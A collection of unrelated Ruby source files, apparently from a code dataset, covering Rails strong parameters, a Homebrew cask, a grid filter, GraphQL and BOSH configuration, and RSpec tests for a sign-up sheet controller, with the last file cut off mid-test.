value.map { |el| yield el }.compact
# fields_for on an array of records uses numeric hash keys.
elsif fields_for_style?(value)
hash = value.class.new
value.each { |k,v| hash[k] = yield(v, k) }
hash
else
yield value
end
end
def fields_for_style?(object)
object.is_a?(Hash) && object.all? { |k, v| k =~ /\A-?\d+\z/ && v.is_a?(Hash) }
end
def unpermitted_parameters!(params)
return unless self.class.action_on_unpermitted_parameters
unpermitted_keys = unpermitted_keys(params)
if unpermitted_keys.any?
case self.class.action_on_unpermitted_parameters
when :log
name = "unpermitted_parameters.action_controller"
ActiveSupport::Notifications.instrument(name, :keys => unpermitted_keys)
when :raise
raise ActionController::UnpermittedParameters.new(unpermitted_keys)
end
end
end
def unpermitted_keys(params)
self.keys - params.keys - NEVER_UNPERMITTED_PARAMS
end
end
module StrongParameters
extend ActiveSupport::Concern
included do
rescue_from(ActionController::ParameterMissing) do |parameter_missing_exception|
render :text => "Required parameter missing: #{parameter_missing_exception.param}", :status => :bad_request
end
end
def params
@_params ||= Parameters.new(request.parameters)
end
def params=(val)
@_params = val.is_a?(Hash) ? Parameters.new(val) : val
end
end
end
# ActiveSupport.on_load(:action_controller) { include ActionController::StrongParameters }
| 28.531599 | 115 | 0.618502 |
ab8152ecff5d825b7c8fd96dbfc64055359159fa | 335 | # Monkeypatch for slashes to work
module Elasticsearch
module API
# Generic utility methods
#
module Utils
alias_method :__pathify_without_slashes, :__pathify
def __pathify(*segments)
__pathify_without_slashes(*segments.map { |s| s.gsub('/', '%2F')}).gsub('%252F', '%2F')
end
end
end
end
| 22.333333 | 95 | 0.653731 |
6242258ea0e4d68a2a064b487c359f2424646a1b | 119 | require_relative '../../spec_helper'
describe "IO#fdatasync" do
it "needs to be reviewed for spec completeness"
end
| 19.833333 | 49 | 0.747899 |
f8f2e78178b9a1b6f8fa9d5eb7869d0c72ffd28c | 1,100 | cask "webcatalog" do
version "33.1.1"
if Hardware::CPU.intel?
sha256 "5843f503b5e2ee4b9e2200bb6494f2ef00d3a0913ed37c4e2bea00eef0049763"
url "https://github.com/webcatalog/webcatalog-app/releases/download/v#{version}/WebCatalog-#{version}.dmg",
verified: "github.com/webcatalog/webcatalog-app/"
else
sha256 "b5cdbb95b1def7bd3a9844b57061a95c1f2026469ea527171bb2df433310786a"
url "https://github.com/webcatalog/webcatalog-app/releases/download/v#{version}/WebCatalog-#{version}-arm64.dmg",
verified: "github.com/webcatalog/webcatalog-app/"
end
name "WebCatalog"
desc "Tool to run web apps like desktop apps"
homepage "https://webcatalog.app/"
livecheck do
url :url
strategy :github_latest
end
auto_updates true
app "WebCatalog.app"
zap trash: [
"~/Library/Application Support/WebCatalog",
"~/Library/Caches/com.webcatalog.jordan",
"~/Library/Caches/com.webcatalog.jordan.ShipIt",
"~/Library/Preferences/com.webcatalog.jordan.plist",
"~/Library/Saved Application State/com.webcatalog.jordan.savedState",
]
end
| 29.72973 | 117 | 0.734545 |
1dd28296c755f6366f7e88c07afee8703f6dd8ee | 2,926 | # encoding: UTF-8
module Wice
module Columns #:nodoc:
class ViewColumnString < ViewColumn #:nodoc:
attr_accessor :negation, :auto_reloading_input_with_negation_checkbox
def render_filter_internal(params) #:nodoc:
@contains_a_text_input = true
css_class = 'form-control input-sm ' + (auto_reload ? 'auto-reload' : '')
if negation
self.auto_reloading_input_with_negation_checkbox = true if auto_reload
@query, _, parameter_name, @dom_id = form_parameter_name_id_and_query(v: '')
@query2, _, parameter_name2, @dom_id2 = form_parameter_name_id_and_query(n: '')
'<div class="text-filter-container">' +
text_field_tag(parameter_name, params[:v], size: 8, id: @dom_id, class: css_class) +
if defined?(Wice::Defaults::NEGATION_CHECKBOX_LABEL) && ! Wice::ConfigurationProvider.value_for(:NEGATION_CHECKBOX_LABEL).blank?
Wice::ConfigurationProvider.value_for(:NEGATION_CHECKBOX_LABEL)
else
''
end +
check_box_tag(parameter_name2, '1', (params[:n] == '1'),
id: @dom_id2,
title: NlMessage['negation_checkbox_title'],
class: "negation-checkbox #{css_class}") +
'</div>'
else
@query, _, parameter_name, @dom_id = form_parameter_name_id_and_query('')
text_field_tag(parameter_name, (params.blank? ? '' : params), size: 8, id: @dom_id, class: css_class)
end
end
def yield_declaration_of_column_filter #:nodoc:
if negation
{
templates: [@query, @query2],
ids: [@dom_id, @dom_id2]
}
else
{
templates: [@query],
ids: [@dom_id]
}
end
end
def has_auto_reloading_input? #:nodoc:
auto_reload
end
def auto_reloading_input_with_negation_checkbox? #:nodoc:
self.auto_reloading_input_with_negation_checkbox
end
end
class ConditionsGeneratorColumnString < ConditionsGeneratorColumn #:nodoc:
def generate_conditions(table_alias, opts) #:nodoc:
if opts.kind_of? String
string_fragment = opts
negation = ''
elsif (opts.kind_of? Hash) && opts.has_key?(:v)
string_fragment = opts[:v]
negation = opts[:n] == '1' ? 'NOT' : ''
else
Wice.log "invalid parameters for the grid string filter - must be a string: #{opts.inspect} or a Hash with keys :v and :n"
return false
end
if string_fragment.empty?
return false
end
[
" #{negation} #{@column_wrapper.alias_or_table_name(table_alias)}.#{@column_wrapper.name} #{::Wice.get_string_matching_operators(@column_wrapper.model)} ?",
'%' + string_fragment + '%'
]
end
end
end
end | 32.876404 | 167 | 0.596719 |
bf548944d09af54068a5f04cdd78a0359356a2b9 | 918 | # The Book of Ruby - http://www.sapphiresteel.com
# illustrates how to read and write instance variables
# using accessor methods
class Thing
def initialize( aName, aDescription )
@name = aName
@description = aDescription
end
# get accessor for @name
def name
return @name
end
# set accessor for @name
def name=( aName )
@name = aName
end
# get accessor for @description
def description
return @description
end
# set accessor for @description
def description=( aDescription )
@description = aDescription
end
end
t = Thing.new("The Thing", "a lovely, glittery wotsit")
print( t.name )
print( " is " )
puts( t.description )
t.name = "A Refurbished Thing"
t.description = "a bit faded and worn around the edges"
print( "It has now changed its name to " )
puts( t.name )
print( "I would describe it as " )
puts( t.description ) | 20.863636 | 55 | 0.66122 |
6a2ad3388606c748faed228d18ea3eb3c4d5265b | 341 | module LibyuiTestFramework
module Pages
module ExpertPartitioner
class AbortDialogPage
attr_reader :app
YES_BUTTON = { label: 'Yes' }
def initialize(app)
@app = app
end
def press_yes
app.button(YES_BUTTON).click
end
end
end
end
end
| 17.05 | 38 | 0.548387 |
03777edf9e3f4f22c2464e4942d9fa504f685133 | 6,544 | # Copyright © 2011-2019 MUSC Foundation for Research Development
# All rights reserved.
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following
# disclaimer in the documentation and/or other materials provided with the distribution.
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING,
# BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
# TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
require 'date'
require 'rails_helper'
RSpec.describe Protocol, type: :model do
let_there_be_lane
let_there_be_j
build_service_request_with_study()
build_service_request_with_project()
build_study_type_question_groups()
build_study_type_questions()
build_study_type_answers()
describe "#with_organization" do
context "return protocols with ssrs that have searched_organization with param of string" do
before :each do
@searched_organization = create(:organization)
@not_searched_organization = create(:organization)
@another_searched_organization = create(:organization)
@protocol1 = create(:study_without_validations)
@sr1 = create(:service_request_without_validations, protocol_id: @protocol1.id)
@ssr1 = create(:sub_service_request_without_validations, service_request_id: @sr1.id, organization: @searched_organization, protocol_id: @protocol1.id)
@protocol2 = create(:study_without_validations)
@sr2 = create(:service_request_without_validations, protocol_id: @protocol2.id)
@ssr2 = create(:sub_service_request_without_validations, service_request_id: @sr2.id, organization: @searched_organization, protocol_id: @protocol2.id)
@protocol3 = create(:study_without_validations)
@sr3 = create(:service_request_without_validations, protocol_id: @protocol3.id)
@ssr3 = create(:sub_service_request_without_validations, service_request_id: @sr3.id, organization: @not_searched_organization, protocol_id: @protocol3.id)
end
it "will return protocols with searched_status" do
response = Protocol.with_organization("#{@searched_organization.id}")
protocols_with_searched_for_org = [@protocol1.id, @protocol2.id]
expect(response.pluck(:id).sort).to eq(protocols_with_searched_for_org)
end
it "will return 0 protocols" do
@ssr1.update_attribute(:organization, @not_searched_organization)
@ssr2.update_attribute(:organization, @not_searched_organization)
response = Protocol.with_organization("#{@searched_organization.id}")
expect(response).to eq []
end
it "will return all protocols that have one or more of the multiple searched statuses" do
@ssr3.update_attribute(:organization, @another_searched_organization)
response = Protocol.with_organization("#{@searched_organization.id} #{@another_searched_organization.id}")
protocols_with_searched_for_organization = [@protocol1.id, @protocol2.id, @protocol3.id]
expect(response.pluck(:id).sort).to eq(protocols_with_searched_for_organization)
end
end
context "return protocols with ssrs that have searched_organization with param of array" do
before :each do
@searched_organization = create(:organization)
@not_searched_organization = create(:organization)
@another_searched_organization = create(:organization)
@protocol1 = create(:study_without_validations)
@sr1 = create(:service_request_without_validations, protocol_id: @protocol1.id)
@ssr1 = create(:sub_service_request_without_validations, service_request_id: @sr1.id, organization: @searched_organization, protocol_id: @protocol1.id)
@protocol2 = create(:study_without_validations)
@sr2 = create(:service_request_without_validations, protocol_id: @protocol2.id)
@ssr2 = create(:sub_service_request_without_validations, service_request_id: @sr2.id, organization: @searched_organization, protocol_id: @protocol2.id)
@protocol3 = create(:study_without_validations)
@sr3 = create(:service_request_without_validations, protocol_id: @protocol3.id)
@ssr3 = create(:sub_service_request_without_validations, service_request_id: @sr3.id, organization: @not_searched_organization, protocol_id: @protocol3.id)
end
it "will return protocols with searched_status" do
response = Protocol.with_organization(["#{@searched_organization.id}"])
protocols_with_searched_for_org = [@protocol1.id, @protocol2.id]
expect(response.pluck(:id).sort).to eq(protocols_with_searched_for_org)
end
it "will return 0 protocols" do
@ssr1.update_attribute(:organization, @not_searched_organization)
@ssr2.update_attribute(:organization, @not_searched_organization)
response = Protocol.with_organization(["#{@searched_organization.id}"])
expect(response).to eq []
end
it "will return all protocols that have one or more of the multiple searched statuses" do
@ssr3.update_attribute(:organization, @another_searched_organization)
response = Protocol.with_organization(["#{@searched_organization.id}", "#{@another_searched_organization.id}"])
protocols_with_searched_for_organization = [@protocol1.id, @protocol2.id, @protocol3.id]
expect(response.pluck(:id).sort).to eq(protocols_with_searched_for_organization)
end
end
end
end
| 55.457627 | 163 | 0.757488 |
5d882c2b27e0694e8b11f1a8843ddff4373467a0 | 61 | module UOM
class MeasurementError < StandardError; end
end
| 15.25 | 45 | 0.803279 |
91150b8629cf7d7df7a28302d1c196e6ce5bb732 | 1,190 | # frozen_string_literal: true
class Mutations::AddToInventory < GraphQL::Function
# arguments passed as "args"
argument :title, !types.String, description: "Title of the product being added"
argument :description, !types.String, description: "Description of product being added"
argument :price, !types.Float, description: "Price of the product being added"
argument :shipping, !types.Float, description: "Shipping cost of the product being added"
argument :quantity, !types.Int, description: "Quantity of the product being added"
# return type from the mutation
type Types::ProductType
# the mutation method
# _obj - is parent object, which in this case is nil
# args - are the arguments passed
# _ctx - is the GraphQL context
def call(_obj, args, _ctx)
existing = Product.find_by(title: args[:title])
if existing.nil?
product = Product.create(title: args[:title], description: args[:description], price: args[:price], shipping: args[:shipping], inventory_count: args[:quantity])
product.save
puts product
product
else
existing.inventory_count += args[:quantity]
existing.save
existing
end
end
end
| 37.1875 | 166 | 0.716807 |
336d006c6bddfb5faaa2b798db78367ae2fb987f | 2,222 | require 'bosh/dev/vcloud'
require 'bosh/dev/writable_manifest'
module Bosh::Dev::VCloud
class MicroBoshDeploymentManifest
include Bosh::Dev::WritableManifest
attr_reader :filename
def initialize(env, net_type)
@env = env
@net_type = net_type
@filename = 'micro_bosh.yml'
unless @net_type == 'manual'
raise 'Specified #{net_type} networking but environment requires manual'
end
end
def to_h
{ 'name' => 'microbosh-vcloud-jenkins',
'network' =>
{ 'ip' => env['BOSH_VCLOUD_MICROBOSH_IP'],
'netmask' => env['BOSH_VCLOUD_NETMASK'],
'gateway' => env['BOSH_VCLOUD_GATEWAY'],
'dns' => [env['BOSH_VCLOUD_DNS']],
'cloud_properties' => { 'name' => env['BOSH_VCLOUD_NET_ID'] } },
'resources' =>
{ 'persistent_disk' => 4096,
'cloud_properties' => { 'ram' => 2048, 'disk' => 8192, 'cpu' => 1 } },
'cloud' =>
{ 'plugin' => 'vcloud',
'properties' =>
{ 'agent' => { 'ntp' => [env['BOSH_VCLOUD_NTP_SERVER']] },
'vcds' =>
[{ 'url' => env['BOSH_VCLOUD_URL'],
'user' => env['BOSH_VCLOUD_USER'],
'password' => env['BOSH_VCLOUD_PASSWORD'],
'entities' =>
{ 'organization' => env['BOSH_VCLOUD_ORG'],
'virtual_datacenter' => env['BOSH_VCLOUD_VDC'],
'vapp_catalog' => env['BOSH_VCLOUD_VAPP_CATALOG'],
'media_catalog' => env['BOSH_VCLOUD_MEDIA_CATALOG'],
'media_storage_profile' => env['BOSH_VCLOUD_MEDIA_STORAGE_PROFILE'],
'vm_metadata_key' => env['BOSH_VCLOUD_VM_METADATA_KEY'],
'description' => 'MicroBosh on vCloudDirector',
'control' =>
{ 'wait_max' => env['BOSH_VCLOUD_WAIT_MAX'].to_i || 300 }
}
}]
}
},
'env' =>
{ 'vapp' => env['BOSH_VCLOUD_VAPP_NAME'] }
}
end
private
attr_reader :env
end
end
| 35.269841 | 94 | 0.491899 |
26ce4d6cc1588ea37a93fff55c79c7de7b24e504 | 21,642 | describe SignUpSheetController do
let(:assignment) { build(:assignment, id: 1, instructor_id: 6, due_dates: [due_date], microtask: true, staggered_deadline: true) }
let(:instructor) { build(:instructor, id: 6) }
let(:student) { build(:student, id: 8) }
let(:participant) { build(:participant, id: 1, user_id: 6, assignment: assignment) }
let(:topic) { build(:topic, id: 1) }
let(:signed_up_team) { build(:signed_up_team, team: team, topic: topic) }
let(:signed_up_team2) { build(:signed_up_team, team_id: 2, is_waitlisted: true) }
let(:team) { build(:assignment_team, id: 1, assignment: assignment) }
let(:due_date) { build(:assignment_due_date, deadline_type_id: 1) }
let(:due_date2) { build(:assignment_due_date, deadline_type_id: 2) }
let(:bid) { Bid.new(topic_id: 1, priority: 1) }
before(:each) do
allow(Assignment).to receive(:find).with('1').and_return(assignment)
allow(Assignment).to receive(:find).with(1).and_return(assignment)
stub_current_user(instructor, instructor.role.name, instructor.role)
allow(SignUpTopic).to receive(:find).with('1').and_return(topic)
allow(Participant).to receive(:find_by).with(id: '1').and_return(participant)
allow(Participant).to receive(:find_by).with(parent_id: 1, user_id: 8).and_return(participant)
allow(AssignmentParticipant).to receive(:find).with('1').and_return(participant)
allow(AssignmentParticipant).to receive(:find).with(1).and_return(participant)
end
describe '#new' do
it 'builds a new sign up topic and renders sign_up_sheet#new page' do
params = {id: 1}
get :new, params
expect(controller.instance_variable_get(:@sign_up_topic).assignment).to eq(assignment)
expect(response).to render_template(:new)
end
end
describe '#create' do
context 'when topic cannot be found' do
context 'when new topic can be saved successfully' do
it 'sets up a new topic and redirects to assignment#edit page' do
allow(SignUpTopic).to receive(:where).with(topic_name: 'Hello world!', assignment_id: '1').and_return([nil])
allow_any_instance_of(SignUpSheetController).to receive(:undo_link)
.with("The topic: \"Hello world!\" has been created successfully. ").and_return('OK')
allow(topic).to receive(:save).and_return('OK')
params = {
id: 1,
topic: {
topic_identifier: 1,
topic_name: 'Hello world!',
max_choosers: 1,
category: '',
micropayment: 1
}
}
post :create, params
expect(response).to redirect_to('/assignments/1/edit#tabs-5')
end
end
context 'when new topic cannot be saved successfully' do
it 'sets up a new topic and renders sign_up_sheet#new page' do
allow(SignUpTopic).to receive(:where).with(topic_name: 'Hello world!', assignment_id: '1').and_return([nil])
allow_any_instance_of(SignUpSheetController).to receive(:undo_link)
.with("The topic: \"Hello world!\" has been created successfully. ").and_return('OK')
allow(topic).to receive(:save).and_return('OK')
params = {
id: 1,
topic: {
topic_identifier: 1,
topic_name: 'Hello world!',
category: '',
micropayment: 1
}
}
post :create, params
expect(response).to render_template(:new)
end
end
end
context 'when topic can be found' do
it 'updates the existing topic and redirects to sign_up_sheet#add_signup_topics_staggered page' do
allow(SignedUpTeam).to receive(:find_by_topic_id).with(1).and_return(signed_up_team)
allow(SignedUpTeam).to receive(:where).with(topic_id: 1, is_waitlisted: true).and_return([signed_up_team2])
allow(Team).to receive(:find).with(2).and_return(team)
allow(SignUpTopic).to receive(:find_waitlisted_topics).with(1, 2).and_return(nil)
params = {
id: 1,
topic: {
topic_identifier: 666,
topic_name: 'Hello world!',
max_choosers: 2,
category: '666',
micropayment: 1
}
}
post :create, params
expect(SignedUpTeam.first.is_waitlisted).to be false
expect(response).to redirect_to('/sign_up_sheet/add_signup_topics_staggered?id=1')
end
end
end
describe '#destroy' do
context 'when topic can be found' do
it 'redirects to assignment#edit page' do
allow_any_instance_of(SignUpSheetController).to receive(:undo_link)
.with("The topic: \"Hello world!\" has been successfully deleted. ").and_return('OK')
params = {id: 1, assignment_id: 1}
post :destroy, params
expect(response).to redirect_to('/assignments/1/edit#tabs-5')
end
end
context 'when topic cannot be found' do
it 'shows an error flash message and redirects to assignment#edit page' do
allow(SignUpTopic).to receive(:find).with('1').and_return(nil)
allow_any_instance_of(SignUpSheetController).to receive(:undo_link)
.with("The topic: \"Hello world!\" has been successfully deleted. ").and_return('OK')
params = {id: 1, assignment_id: 1}
post :destroy, params
expect(flash[:error]).to eq('The topic could not be deleted.')
expect(response).to redirect_to('/assignments/1/edit#tabs-5')
end
end
end
describe '#edit' do
it 'renders sign_up_sheet#edit page' do
params = {id: 1}
get :edit, params
expect(response).to render_template(:edit)
end
end
describe '#update' do
context 'when topic cannot be found' do
it 'shows an error flash message and redirects to assignment#edit page' do
allow(SignUpTopic).to receive(:find).with('1').and_return(nil)
params = {id: 1, assignment_id: 1}
post :update, params
expect(flash[:error]).to eq('The topic could not be updated.')
expect(response).to redirect_to('/assignments/1/edit#tabs-5')
end
end
context 'when topic can be found' do
it 'updates current topic and redirects to assignment#edit page' do
allow(SignUpTopic).to receive(:find).with('2').and_return(build(:topic, id: 2))
allow(SignedUpTeam).to receive(:find_by_topic_id).with(2).and_return(signed_up_team)
allow(SignedUpTeam).to receive(:where).with(topic_id: 2, is_waitlisted: true).and_return([signed_up_team2])
allow(Team).to receive(:find).with(2).and_return(team)
allow(SignUpTopic).to receive(:find_waitlisted_topics).with(1, 2).and_return(nil)
allow_any_instance_of(SignUpSheetController).to receive(:undo_link)
.with("The topic: \"Hello world!\" has been successfully updated. ").and_return('OK')
params = {
id: 2,
assignment_id: 1,
topic: {
topic_identifier: 666,
topic_name: 'Hello world!',
max_choosers: 2,
category: '666',
micropayment: 1
}
}
post :update, params
expect(response).to redirect_to('/assignments/1/edit#tabs-5')
end
end
end
describe '#list' do
before(:each) do
allow(SignUpTopic).to receive(:find_slots_filled).with(1).and_return([topic])
allow(SignUpTopic).to receive(:find_slots_waitlisted).with(1).and_return([])
allow(SignUpTopic).to receive(:where).with(assignment_id: 1, private_to: nil).and_return([topic])
allow(participant).to receive(:team).and_return(team)
end
context 'when current assignment is intelligent assignment and has submission duedate (deadline_type_id 1)' do
it 'renders sign_up_sheet#intelligent_topic_selection page' do
assignment.is_intelligent = true
allow(Bid).to receive_message_chain(:where, :order).with(team_id: 1).with(:priority).and_return([double('Bid', topic_id: 1)])
allow(SignUpTopic).to receive(:find_by).with(id: 1).and_return(topic)
params = {id: 1}
session = {user: instructor}
get :list, params, session
expect(controller.instance_variable_get(:@bids).size).to eq(1)
expect(controller.instance_variable_get(:@sign_up_topics)).to be_empty
expect(response).to render_template('sign_up_sheet/intelligent_topic_selection')
end
end
context 'when current assignment is not intelligent assignment and has submission duedate (deadline_type_id 1)' do
it 'renders sign_up_sheet#list page' do
allow(Bid).to receive(:where).with(team_id: 1).and_return([double('Bid', topic_id: 1)])
allow(SignUpTopic).to receive(:find_by).with(1).and_return(topic)
params = {id: 1}
get :list, params
expect(response).to render_template(:list)
end
end
end
describe '#sign_up' do
context 'when SignUpSheet.signup_team method return nil' do
it 'shows an error flash message and redirects to sign_up_sheet#list page' do
allow(SignedUpTeam).to receive(:find_team_users).with(1, 6).and_return([team])
params = {id: 1}
session = {user: instructor}
get :sign_up, params, session
expect(flash[:error]).to eq('You\'ve already signed up for a topic!')
expect(response).to redirect_to('/sign_up_sheet/list?id=1')
end
end
end
describe '#signup_as_instructor_action' do
context 'when user cannot be found' do
it 'shows an flash error message and redirects to assignment#edit page' do
allow(User).to receive(:find_by).with(name: 'no name').and_return(nil)
allow(User).to receive(:find).with(8).and_return(student)
allow(Team).to receive(:find).with(1).and_return(team)
params = {username: 'no name', assignment_id: 1}
get :signup_as_instructor_action, params
expect(flash[:error]).to eq('That student does not exist!')
expect(response).to redirect_to('/assignments/1/edit')
end
end
context 'when user can be found' do
before(:each) do
allow(User).to receive(:find_by).with(name: 'no name').and_return(student)
end
context 'when an assignment_participant can be found' do
before(:each) do
allow(AssignmentParticipant).to receive(:exists?).with(user_id: 8, parent_id: '1').and_return(true)
end
context 'when creating team related objects successfully' do
it 'shows a flash success message and redirects to assignment#edit page' do
allow(SignedUpTeam).to receive(:find_team_users).with('1', 8).and_return([team])
allow(team).to receive(:t_id).and_return(1)
allow(TeamsUser).to receive(:team_id).with('1', 8).and_return(1)
allow(SignedUpTeam).to receive(:topic_id).with('1', 8).and_return(1)
allow_any_instance_of(SignedUpTeam).to receive(:save).and_return(team)
params = {
username: 'no name',
assignment_id: 1,
topic_id: 1
}
get :signup_as_instructor_action, params
expect(flash[:success]).to eq('You have successfully signed up the student for the topic!')
expect(response).to redirect_to('/assignments/1/edit')
end
end
context 'when creating team related objects unsuccessfully' do
it 'shows a flash error message and redirects to assignment#edit page' do
allow(SignedUpTeam).to receive(:find_team_users).with('1', 8).and_return([])
allow(User).to receive(:find).with(8).and_return(student)
allow(Assignment).to receive(:find).with(1).and_return(assignment)
allow(TeamsUser).to receive(:create).with(user_id: 8, team_id: 1).and_return(double('TeamsUser', id: 1))
allow(TeamUserNode).to receive(:create).with(parent_id: 1, node_object_id: 1).and_return(double('TeamUserNode', id: 1))
params = {
username: 'no name',
assignment_id: 1
}
get :signup_as_instructor_action, params
expect(flash[:error]).to eq('The student has already signed up for a topic!')
expect(response).to redirect_to('/assignments/1/edit')
end
end
end
context 'when an assignment_participant cannot be found' do
it 'shows a flash error message and redirects to assignment#edit page' do
allow(AssignmentParticipant).to receive(:exists?).with(user_id: 8, parent_id: '1').and_return(false)
params = {
username: 'no name',
assignment_id: 1
}
get :signup_as_instructor_action, params
expect(flash[:error]).to eq('The student is not registered for the assignment!')
expect(response).to redirect_to('/assignments/1/edit')
end
end
end
end
describe '#delete_signup' do
before(:each) do
allow(participant).to receive(:team).and_return(team)
end
context 'when either submitted files or hyperlinks of current team are not empty' do
it 'shows a flash error message and redirects to sign_up_sheet#list page' do
allow(assignment).to receive(:instructor).and_return(instructor)
params = {id: 1}
get :delete_signup, params
expect(flash[:error]).to eq('You have already submitted your work, so you are not allowed to drop your topic.')
expect(response).to redirect_to('/sign_up_sheet/list?id=1')
end
end
context 'when both submitted files and hyperlinks of current team are empty and drop topic deadline is not nil and its due date has already passed' do
it 'shows a flash error message and redirects to sign_up_sheet#list page' do
due_date.due_at = DateTime.now.in_time_zone - 1.day
allow(assignment.due_dates).to receive(:find_by_deadline_type_id).with(6).and_return(due_date)
allow(team).to receive(:submitted_files).and_return([])
allow(team).to receive(:hyperlinks).and_return([])
params = {id: 1}
get :delete_signup, params
expect(flash[:error]).to eq('You cannot drop your topic after the drop topic deadline!')
expect(response).to redirect_to('/sign_up_sheet/list?id=1')
end
end
context 'when both submitted files and hyperlinks of current team are empty and drop topic deadline is nil' do
it 'shows a flash success message and redirects to sign_up_sheet#list page' do
allow(team).to receive(:submitted_files).and_return([])
allow(team).to receive(:hyperlinks).and_return([])
allow(SignedUpTeam).to receive(:find_team_users).with(1, 6).and_return([team])
allow(team).to receive(:t_id).and_return(1)
params = {id: 1, topic_id: 1}
session = {user: instructor}
get :delete_signup, params, session
expect(flash[:success]).to eq('You have successfully dropped your topic!')
expect(response).to redirect_to('/sign_up_sheet/list?id=1')
end
end
end
describe '#delete_signup_as_instructor' do
before(:each) do
allow(Team).to receive(:find).with('1').and_return(team)
allow(TeamsUser).to receive(:find_by).with(team_id: 1).and_return(double('TeamsUser', user: student))
allow(AssignmentParticipant).to receive(:find_by).with(user_id: 8, parent_id: 1).and_return(participant)
allow(participant).to receive(:team).and_return(team)
end
context 'when either submitted files or hyperlinks of current team are not empty' do
it 'shows a flash error message and redirects to assignment#edit page' do
allow(assignment).to receive(:instructor).and_return(instructor)
params = {id: 1}
get :delete_signup_as_instructor, params
expect(flash[:error]).to eq('The student has already submitted their work, so you are not allowed to remove them.')
expect(response).to redirect_to('/assignments/1/edit')
end
end
context 'when both submitted files and hyperlinks of current team are empty and drop topic deadline is not nil and its due date has already passed' do
it 'shows a flash error message and redirects to assignment#edit page' do
due_date.due_at = DateTime.now.in_time_zone - 1.day
allow(assignment.due_dates).to receive(:find_by_deadline_type_id).with(6).and_return(due_date)
allow(team).to receive(:submitted_files).and_return([])
allow(team).to receive(:hyperlinks).and_return([])
params = {id: 1}
get :delete_signup_as_instructor, params
expect(flash[:error]).to eq('You cannot drop a student after the drop topic deadline!')
expect(response).to redirect_to('/assignments/1/edit')
end
end
context 'when both submitted files and hyperlinks of current team are empty and drop topic deadline is nil' do
it 'shows a flash success message and redirects to assignment#edit page' do
allow(team).to receive(:submitted_files).and_return([])
allow(team).to receive(:hyperlinks).and_return([])
allow(SignedUpTeam).to receive(:find_team_users).with(1, 6).and_return([team])
allow(team).to receive(:t_id).and_return(1)
params = {id: 1, topic_id: 1}
session = {user: instructor}
get :delete_signup_as_instructor, params, session
expect(flash[:success]).to eq('You have successfully dropped the student from the topic!')
expect(response).to redirect_to('/assignments/1/edit')
end
end
end
describe '#set_priority' do
it 'sets priority of bidding topic and redirects to sign_up_sheet#list page' do
allow(participant).to receive(:team).and_return(team)
allow(Bid).to receive(:where).with(team_id: 1).and_return([bid])
allow(Bid).to receive_message_chain(:where, :map).with(team_id: 1).with(no_args).and_return([1])
allow(Bid).to receive(:where).with(topic_id: '1', team_id: 1).and_return([bid])
allow_any_instance_of(Array).to receive(:update_all).with(priority: 1).and_return([bid])
params = {
participant_id: 1,
assignment_id: 1,
topic: ['1']
}
post :set_priority, params
expect(response).to redirect_to('/sign_up_sheet/list?assignment_id=1')
end
end
describe '#save_topic_deadlines' do
context 'when topic_due_date cannot be found' do
it 'creates a new topic_due_date record and redirects to assignment#edit page' do
assignment.due_dates = [due_date, due_date2]
allow(SignUpTopic).to receive(:where).with(assignment_id: '1').and_return([topic])
allow(AssignmentDueDate).to receive(:where).with(parent_id: 1).and_return([due_date])
allow(DeadlineType).to receive(:find_by_name).with(any_args).and_return(double('DeadlineType', id: 1))
allow(TopicDueDate).to receive(:create).with(any_args).and_return(double('TopicDueDate'))
params = {
assignment_id: 1,
due_date: {}
}
post :save_topic_deadlines, params
expect(response).to redirect_to('/assignments/1/edit')
end
end
context 'when topic_due_date can be found' do
it 'updates the existing topic_due_date record and redirects to assignment#edit page' do
assignment.due_dates = [due_date, due_date2]
allow(SignUpTopic).to receive(:where).with(assignment_id: '1').and_return([topic])
allow(AssignmentDueDate).to receive(:where).with(parent_id: 1).and_return([due_date])
allow(DeadlineType).to receive(:find_by_name).with(any_args).and_return(double('DeadlineType', id: 1))
topic_due_date = double('TopicDueDate')
allow(TopicDueDate).to receive(:where).with(parent_id: 1, deadline_type_id: 1, round: 1).and_return([topic_due_date])
allow(topic_due_date).to receive(:update_attributes).with(any_args).and_return(topic_due_date)
params = {
assignment_id: 1,
due_date: {}
}
post :save_topic_deadlines, params
expect(response).to redirect_to('/assignments/1/edit')
end
end
end
describe '#show_team' do
it 'renders show_team page' do
allow(SignedUpTeam).to receive(:where).with("topic_id = ?", '1').and_return([signed_up_team])
allow(TeamsUser).to receive(:where).with(team_id: 1).and_return([double('TeamsUser', user_id: 1)])
allow(User).to receive(:find).with(1).and_return(student)
params = {assignment_id: 1, id: 1}
get :show_team, params
expect(response).to render_template(:show_team)
end
end
describe '#switch_original_topic_to_approved_suggested_topic' do
it 'redirects to sign_up_sheet#list page' do
allow(TeamsUser).to receive(:where).with(user_id: 6).and_return([double('TeamsUser', team_id: 1)])
allow(TeamsUser).to receive(:where).with(team_id: 1).and_return([double('TeamsUser', team_id: 1, user_id: 8)])
allow(Team).to receive(:find).with(1).and_return(team)
team.parent_id = 1
allow(SignedUpTeam).to receive(:where).with(team_id: 1, is_waitlisted: 0).and_return([signed_up_team])
allow(SignedUpTeam).to receive(:where).with(topic_id: 1, is_waitlisted: 1).and_return([signed_up_team])
allow(SignUpSheet).to receive(:signup_team).with(1, 8, 1).and_return('OK!')
params = {
id: 1,
topic_id: 1
}
session = {user: instructor}
